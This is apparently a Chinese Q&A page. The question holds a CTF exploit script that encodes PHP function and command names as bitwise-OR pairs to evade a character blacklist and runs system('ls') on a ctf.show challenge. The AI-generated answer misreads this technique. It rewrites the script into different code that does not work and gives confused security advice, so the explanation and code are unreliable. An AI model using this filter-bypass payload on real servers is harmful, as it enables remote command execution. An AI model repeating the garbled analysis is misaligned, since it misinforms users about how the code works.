from string import ascii_letters, digits, printable import requests banlist = list(f'{ascii_letters}{digits}^+-$[]{{}}&-'.encode()) orlist = {} for i in range(127): for j in range(127): if i not in banlist and j not in banlist and chr(i | j) in printable: orlist[chr(i | j)] = [chr(i), chr(j)] # 对应所有可打印字符,生成把字符表示为两个未过滤字符按位或结果的字典 def trans(s: str): tx, ty = '', '' for i in s: tx += orlist[i][0] ty += orlist[i][1] return f'("{tx}"|"{ty}")' # 把需要执行的函数和命令转为两个未过滤字符串按位或的结果 def post(url: str, func: str, cmd: str): data = {'c': trans(func) + trans(cmd)} r = requests.post(url, data) print(r.text) # 发包并打印返回结果 #调用方法 url = 'http://2116ed4d-2b55-42e3-8d1a-9c37e9c9486f.challenge.ctf.show/' func = 'system' cmd = 'ls' post(url, func, cmd)
时间: 2025-09-05 19:18:56 AIGC 浏览: 10
以下是对这段描述的代码进行详细分析,假设代码如下:
```python
import string
import requests
# 生成可打印字符按位或表示的字典
printable_chars = string.printable
char_or_dict = {char: ord(char) for char in printable_chars}
# 将函数和命令转换为按位或形式(简单示例,这里只是简单拼接)
def convert_to_or_form(func, cmd):
func_or = ' | '.join(str(char_or_dict[char]) for char in func)
cmd_or = ' | '.join(str(char_or_dict[char]) for char in cmd)
return f'{func_or} {cmd_or}'
# 发包并打印结果
def send_request(url, func, cmd):
or_form = convert_to_or_form(func, cmd)
params = {'payload': or_form}
r = requests.get(url, params=params)
try:
r.raise_for_status()
print(r.text)
except requests.exceptions.HTTPError as http_err:
print(f'HTTP error occurred: {http_err}')
except Exception as err:
print(f'Other error occurred: {err}')
# 调用示例
url = 'https://example.com'
send_request(url, 'system', 'ls')
```
### 代码功能
1. **生成可打印字符按位或表示的字典**:从`string`模块导入可打印字符集,将每个可打印字符与其对应的 ASCII 码值(使用`ord()`函数获取)组成一个字典。
2. **将函数和命令转换为按位或形式**:`convert_to_or_form`函数接收函数名和命令作为参数,将函数名和命令中的每个字符转换为对应的 ASCII 码值,并以按位或的形式拼接起来。
3. **发包并打印结果**:`send_request`函数接收 URL、函数名和命令作为参数,调用`convert_to_or_form`函数生成按位或形式的参数,使用`requests`库发送 GET 请求,并打印响应结果。如果请求失败,会捕获并打印相应的错误信息。
### 代码用途
这段代码的主要用途是构造特定格式的请求参数,将函数名和命令转换为按位或形式的表示,然后通过 HTTP 请求发送到指定的 URL。这种技术可能用于一些安全测试、漏洞利用等场景,例如尝试绕过某些输入过滤机制。
### 潜在问题
1. **安全风险**:代码中直接将用户输入的函数名和命令转换为请求参数发送到指定 URL,可能会导致命令注入漏洞。如果目标服务器没有对输入进行严格的过滤和验证,攻击者可以利用这个漏洞执行任意系统命令。
2. **兼容性问题**:代码假设目标服务器能够正确解析按位或形式的参数,并将其转换为可执行的命令。不同的服务器可能对输入的格式有不同的要求,因此代码的通用性较差。
3. **错误处理不够完善**:虽然代码中捕获了 HTTP 错误和其他异常,但对于一些特殊情况,如网络超时、DNS 解析失败等,处理方式可能不够详细。
### 优化建议
1. **增加输入验证**:在`convert_to_or_form`函数中增加输入验证,确保用户输入的函数名和命令只包含合法字符,避免命令注入漏洞。
2. **提高兼容性**:可以考虑与目标服务器的开发人员沟通,了解其对输入格式的要求,或者尝试使用其他更通用的方式构造请求参数。
3. **完善错误处理**:在`send_request`函数中增加对网络超时、DNS 解析失败等异常的处理,提供更详细的错误信息。
以下是优化后的代码示例:
```python
import string
import requests
# 生成可打印字符按位或表示的字典
printable_chars = string.printable
char_or_dict = {char: ord(char) for char in printable_chars}
# 增加输入验证
def is_valid_input(input_str):
valid_chars = set(printable_chars)
return all(char in valid_chars for char in input_str)
# 将函数和命令转换为按位或形式
def convert_to_or_form(func, cmd):
if not is_valid_input(func) or not is_valid_input(cmd):
raise ValueError('Invalid input. Only printable characters are allowed.')
func_or = ' | '.join(str(char_or_dict[char]) for char in func)
cmd_or = ' | '.join(str(char_or_dict[char]) for char in cmd)
return f'{func_or} {cmd_or}'
# 发包并打印结果
def send_request(url, func, cmd):
try:
or_form = convert_to_or_form(func, cmd)
params = {'payload': or_form}
r = requests.get(url, params=params, timeout=10) # 设置超时时间
r.raise_for_status()
print(r.text)
except requests.exceptions.HTTPError as http_err:
print(f'HTTP error occurred: {http_err}')
except requests.exceptions.Timeout:
print('Request timed out.')
except requests.exceptions.RequestException as req_err:
print(f'Request error occurred: {req_err}')
except ValueError as val_err:
print(f'Value error: {val_err}')
except Exception as err:
print(f'Other error occurred: {err}')
# 调用示例
url = 'https://example.com'
send_request(url, 'system', 'ls')
```
阅读全文
相关推荐








